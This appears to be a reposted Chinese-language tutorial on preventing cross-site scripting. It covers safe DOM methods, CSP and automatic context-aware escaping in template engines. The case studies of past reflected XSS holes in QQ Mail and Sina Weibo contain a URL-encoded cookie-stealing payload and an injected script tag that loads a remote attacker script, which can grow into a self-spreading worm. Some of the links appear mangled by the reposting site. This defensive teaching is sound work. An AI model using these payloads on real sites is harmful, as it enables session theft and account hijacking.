避免拼接 HTML 前端采用拼接 HTML 的方法比较危险,如果框架允许,使用 createElement、setAttribute 之类的方法实现。或者采用比较成熟的渲染框架,如 Vue/React 等。
时刻保持警惕 在插入位置为 DOM 属性、链接等位置时,要打起精神,严加防范。
增加攻击难度,降低攻击后果 通过 CSP、输入长度配置、接口安全措施等方法,增加攻击的难度,降低攻击的后果。
主动检测和发现 可使用 XSS 攻击字符串和自动扫描工具寻找潜在的 XSS 漏洞。
XSS 攻击案例 QQ 邮箱 m.exmail.qq.com 域名反射型 XSS 漏洞攻击者发现 ?uin=aaaa&domain=bbbb 这个 URL 的参数 uin、domain 未经转义直接输出到 HTML 中。
于是攻击者构建出一个 URL,并引导用户去点击: ?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B
用户点击这个 URL 时,服务端取出 URL 参数,拼接到 HTML 响应中:
<script>getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...
浏览器接收到响应后就会执行 alert(document.cookie),攻击者通过 JavaScript 即可窃取当前用户在 QQ 邮箱域名下的 Cookie ,进而危害数据安全。
新浪微博名人堂反射型 XSS 漏洞攻击者发现 这个 URL 的内容未经过滤直接输出到 HTML 中。
于是攻击者构建出一个 URL,然后诱导用户去点击:
">用户点击这个 URL 时,服务端取出请求 URL,拼接到 HTML 响应中:
<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=http://www.likecs.com//xxxx.cn/image/t.js></script>">按分类检索</a></li>浏览器接收到响应后就会加载执行恶意脚本 //xxxx.cn/image/t.js,在恶意脚本中利用用户的登录状态进行关注、发微博、发私信等操作,发出的微博和私信可再带上攻击 URL,诱导更多人点击,不断放大攻击范围。这种窃用受害者身份发布恶意内容,层层放大攻击范围的方式,被称为“XSS 蠕虫”。
扩展阅读:Automatic Context-Aware Escaping上文我们说到:
合适的 HTML 转义可以有效避免 XSS 漏洞。
完善的转义库需要针对上下文制定多种规则,例如 HTML 属性、HTML 文字内容、HTML 注释、跳转链接、内联 JavaScript 字符串、内联 CSS 样式表等等。
业务 RD 需要根据每个插入点所处的上下文,选取不同的转义规则。
通常,转义库是不能判断插入点上下文的(Not Context-Aware),实施转义规则的责任就落到了业务 RD 身上,需要每个业务 RD 都充分理解 XSS 的各种情况,并且需要保证每一个插入点使用了正确的转义规则。
这种机制工作量大,全靠人工保证,很容易造成 XSS 漏洞,安全人员也很难发现隐患。
2009年,Google 提出了一个概念叫做:Automatic Context-Aware Escaping。
所谓 Context-Aware,就是说模板引擎在解析模板字符串的时候,就解析模板语法,分析出每个插入点所处的上下文,据此自动选用不同的转义规则。这样就减轻了业务 RD 的工作负担,也减少了人为带来的疏漏。
在一个支持 Automatic Context-Aware Escaping 的模板引擎里,业务 RD 可以这样定义模板,而无需手动实施转义规则:
<html><head>
<meta charset="UTF-8">
<title>{{.title}}</title>
</head>
<body>
<a href="http://www.likecs.com/{{.url}}">{{.content}}</a>
</body>
</html>